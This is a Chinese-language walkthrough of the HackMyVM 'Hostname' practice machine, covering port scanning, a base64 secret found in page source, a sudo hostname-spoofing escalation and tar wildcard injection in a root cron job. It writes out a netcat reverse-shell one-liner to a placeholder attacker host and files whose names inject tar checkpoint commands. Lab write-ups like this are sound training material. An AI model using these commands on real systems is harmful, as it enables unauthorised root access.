HackMyVM-hostname

難度：簡單

鏈接:https://hackmyvm.eu/machines/machine.php?vm=Hostname

這臺靶機是上周剛剛發布的一臺靶機，其中一處的提取手法對個人而言很是新穎，所以想記錄一下

攻擊手法：

主機發現

端口掃描

sudo提權（偽造主機名）

古老的通配符提權

信息收集階段

主機發現

zhy@zhy-pc ~ % sudo arp-scan -l Interface: wlan0, type: EN10MB, MAC: dc:1b:a1:ba:dd:3f, IPv4: 192.168.1.100 Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.1.1 30:fc:68:d2:72:bc TP-LINK TECHNOLOGIES CO.,LTD. 192.168.1.101 08:00:27:85:91:f2 PCS Systemtechnik GmbH 192.168.1.108 0c:70:4a:91:41:1e HUAWEI TECHNOLOGIES CO.,LTD 192.168.1.102 14:85:7f:c4:37:0e (Unknown)5 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.9.7: 256 hosts scanned in 1.966 seconds (130.21 hosts/sec). 4 responded

端口掃描

開放了22和80端口

zhy@zhy-pc ~ % sudo nmap -p- -Pn 192.168.1.101 Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-13 10:19 CST Nmap scan report for warzone.local (192.168.1.101) Host is up (0.000076s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:85:91:F2 (Oracle VirtualBox virtual NIC)Nmap done: 1 IP address (1 host up) scanned in 0.70 seconds zhy@zhy-pc ~ % sudo nmap -p22,80 -A -Pn 192.168.1.101 Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-13 10:19 CST Nmap scan report for warzone.local (192.168.1.101) Host is up (0.00073s latency).PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0) | ssh-hostkey: | 3072 27:71:24:58:d3:7c:b3:8a:7b:32:49:d1:c8:0b:4c:ba (RSA) | 256 e2:30:67:38:7b:db:9a:86:21:01:3e:bf:0e:e7:4f:26 (ECDSA) |_ 256 5d:78:c5:37:a8:58:dd:c4:b6:bd:ce:b5:ba:bf:53:dc (ED25519) 80/tcp open http nginx 1.18.0 |_http-server-header: nginx/1.18.0 |_http-title: Panda MAC Address: 08:00:27:85:91:F2 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelTRACEROUTE HOP RTT ADDRESS 1 0.73 ms warzone.local (192.168.1.101)OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.29 seconds

web信息

發現web界面，發現需要提交Secret Word，對web界面進行有價值的信息收集

查看頁面源碼發現一段base64編碼信息，button標簽被打上了disabled屬性，這就意味禁用該參數，但是內容不是disabled而是po

<div class="form-group"><p class="alert">Give Some Input..!!</p><!-- Kung Fu Panda --><button class="btn" name="username" disabled="po">Read</button></div> </form><link rel="stylesheet" href="./assets/cool.css"><br><br><h2 style="font-size:4vw"><span>I</span>M<span>POSSIBLE</span></h2><script crossorigin="S3VuZ19GdV9QNG5kYQ==" src='https://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script><script src="./assets/script.js"></script>

對base64編碼信息進行解碼，猜測是我們需要提交的Secret Word

255 zhy@zhy-pc ~ % echo "S3VuZ19GdV9QNG5kYQ==" | base64 -d Kung_Fu_P4nda

將button標簽disabled屬性抹出后提交解碼后的內容，彈窗現實了一串內容，猜測為22端口ssh服務的密碼

嘗試是用ssh服務進行登陸，用戶名猜測為disabled內容po

zhy@zhy-pc ~ % ssh po@192.168.1.101 po@192.168.1.101's password: Linux hostname 5.10.0-13-amd64 #1 SMP Debian 5.10.106-1 (2022-03-17) x86_64The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Thu May 12 21:38:18 2022 from 192.168.1.100 po@hostname:~$

提權

查看linux版本以及內核，無法利用內核漏洞進行提權

po@hostname:~$ uname -a Linux hostname 5.10.0-13-amd64 #1 SMP Debian 5.10.106-1 (2022-03-17) x86_64 GNU/Linux

sudo 提權，無法進行提權

顯示不能運行在主機hostname上

po@hostname:~$ sudo -l [sudo] password for po: Sorry, user po may not run sudo on hostname. po@hostname:~$

計劃任務提權

發現存在一項每分鐘執行的計劃任務，而且使用tar命令使用了通配符

po@hostname:~$ cat /etc/crontab # /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do.SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin# Example of job definition: # .---------------- minute (0 - 59) # | .------------- hour (0 - 23) # | | .---------- day of month (1 - 31) # | | | .------- month (1 - 12) OR jan,feb,mar,apr ... # | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat # | | | | | # * * * * * user-name command to be executed * * * * * root cd /opt/secret/ && tar -zcf /var/backups/secret.tgz * 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )

進入到/opt/secret目錄下，發現po用戶并沒有寫入權限，需要提權到oogway

po@hostname:/opt/secret$ ls -la total 20 drwxrwxr-x 2 root oogway 4096 May 12 21:46 . drwxrwxr-x 3 root oogway 4096 Apr 21 14:27 .. po@hostname:/opt/secret$

進行sudo提權時提示 may not run sudo on hostname

以此為基礎進行內網信息收集

po@hostname:/etc$ ls -la | grep sudo -rw-r--r-- 1 root root 3975 Feb 27 2021 sudo.conf -r--r----- 1 root root 669 Feb 27 2021 sudoers drwxr-xr-x 2 root root 4096 Apr 21 10:02 sudoers.d -rw-r--r-- 1 root root 6169 Feb 27 2021 sudo_logsrvd.conf

發現suoers.d目錄我們是可以訪問的（一般情況是不允許普通用戶訪問）

po@hostname:/etc$ cd sudoers.d/ po@hostname:/etc/sudoers.d$ ls po README po@hostname:/etc/sudoers.d$ cat po po HackMyVM = (oogway) NOPASSWD: /bin/bash

查看文件里po內容，是允許po在HackMyVM主機名下不需要輸入密碼使用oogway用戶執行/bin/bash命令

使用sudo命令提權

po@hostname:/etc/sudoers.d$ sudo -u oogway -h HackMyVM /bin/bash sudo: unable to resolve host HackMyVM: Name or service not known oogway@hostname:/etc/sudoers.d$ id uid=1001(oogway) gid=1001(oogway) groups=1001(oogway) oogway@hostname:/etc/sudoers.d$

雖然提示未知的服務名字，但是命令還是執行成功提升為了oogway權限

查看flag

oogway@hostname:~$ pwd /home/oogway oogway@hostname:~$ cat user.txt 081ecc5e6dd6ba***********0e62ec50

通配符提權

攻擊機上開啟監聽

nc -nvlp port

/opt/secret下執行命令

echo "mkfifo /tmp/lhennp; nc hackip hackport 0</tmp/lhennp | /bin/sh >/tmp/lhennp 2>&1; rm /tmp/lhennp" > shell.sh echo "" > "--checkpoint-action=exec=sh shell.sh" echo "" > --checkpoint=1

等待回連

zhy@zhy-pc ~ % nc -nvlp port Connection from 192.168.1.101:59670 python3 -c "import pty;pty.spawn('/bin/bash')" root@hostname:/opt/secret# id id uid=0(root) gid=0(root) groups=0(root)

提升shell

python3 -c "import pty;pty.spawn('/bin/bash')"

查看oogway下的flag

root@hostname:~# pwd pwd /root root@hostname:~# cat root.txt cat root.txt d5806296126a********aa172ff9c9151

總結：

靶機難度不難，主要是兩個提權過程，sudo提權對本人來說是收獲了一種新的姿勢，通配符提權已經是老生常談的一種提權姿勢，新老結合，蠻有趣的。

總結

以上是生活随笔為你收集整理的HackMyVM-hostname的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。